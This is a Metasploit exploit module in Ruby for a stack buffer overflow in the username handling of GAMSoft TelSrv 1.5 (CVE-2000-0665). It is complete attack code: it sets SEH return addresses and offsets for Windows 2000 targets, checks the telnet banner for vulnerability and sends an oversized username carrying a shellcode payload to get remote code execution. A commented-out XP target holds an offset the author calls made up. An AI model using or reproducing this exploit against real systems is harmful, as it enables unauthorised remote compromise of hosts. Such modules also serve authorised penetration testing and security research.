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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'		=> 'GAMSoft TelSrv 1.5 Username Buffer Overflow',
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      'Description'	=> %q{
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          This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.
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        Other versions may also be affected. The service terminates after exploitation,
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        so you only get one chance!
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      },
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      'Author' 	=> [ 'aushack' ],
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      'Arch'		=> [ ARCH_X86 ],
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      'License'       => MSF_LICENSE,
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      'References'    =>
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        [
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          [ 'CVE', '2000-0665'],
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          [ 'OSVDB', '373'],
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          [ 'BID', '1478'],
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          [ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],
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        ],
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      'Privileged'		=> false,
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      'DefaultOptions'	=>
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        {
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          'EXITFUNC' 	=> 'thread',
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        },
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      'Payload'        	=>
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        {
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          'Space'			=> 1000,
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          'BadChars' 		=> "\x00\x0a",
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          'StackAdjustment' 	=> -3500,
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        },
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      'Platform' => ['win'],
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      'Targets'  =>
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        [
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          [ 'Windows 2000 Pro SP0/4 English REMOTE',
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            {
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              'Ret'		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
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              'Offset'	=> 1886,
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            }
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          ],
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          [ 'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',
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            {
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              'Ret' 		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
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              'Offset'	=> 3318,
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            }
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          ],
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          [ 'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',
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            {
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              'Ret' 		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
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              'Offset' 	=> 3358,
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            }
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          ],
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=begin
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          [ 'Windows XP Pro SP0/1 English',
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            {
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              'Ret' 		=> 0x71aa32ad, # pop/pop/ret xp pro en ALL
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              'Offset'	=> 2600, # this is made up and absolutely wrong ;-)
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            }
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          ],
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=end
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        ],
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      'DisclosureDate' => '2000-07-17',
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        Opt::RPORT(23),
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      ])
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  end
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  def check
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    connect
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    print_status("Attempting to determine if target is possibly vulnerable...")
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    select(nil,nil,nil,7)
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    banner = sock.get_once || ''
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    vprint_status("Banner: #{banner}")
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    if banner.to_s =~ /TelSrv 1\.5/
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      return Exploit::CheckCode::Appears
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")
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    connect
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    print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.
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    select(nil,nil,nil,7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.
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    username = rand_text_english(20000, payload_badchars)
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    seh = generate_seh_payload(target.ret)
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    username[target['Offset'], seh.length] = seh
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    print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")
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    sock.put(username)
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    select(nil,nil,nil,0.25)
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    print_status('Exploit sent...')
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    handler
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    disconnect
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  end
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end
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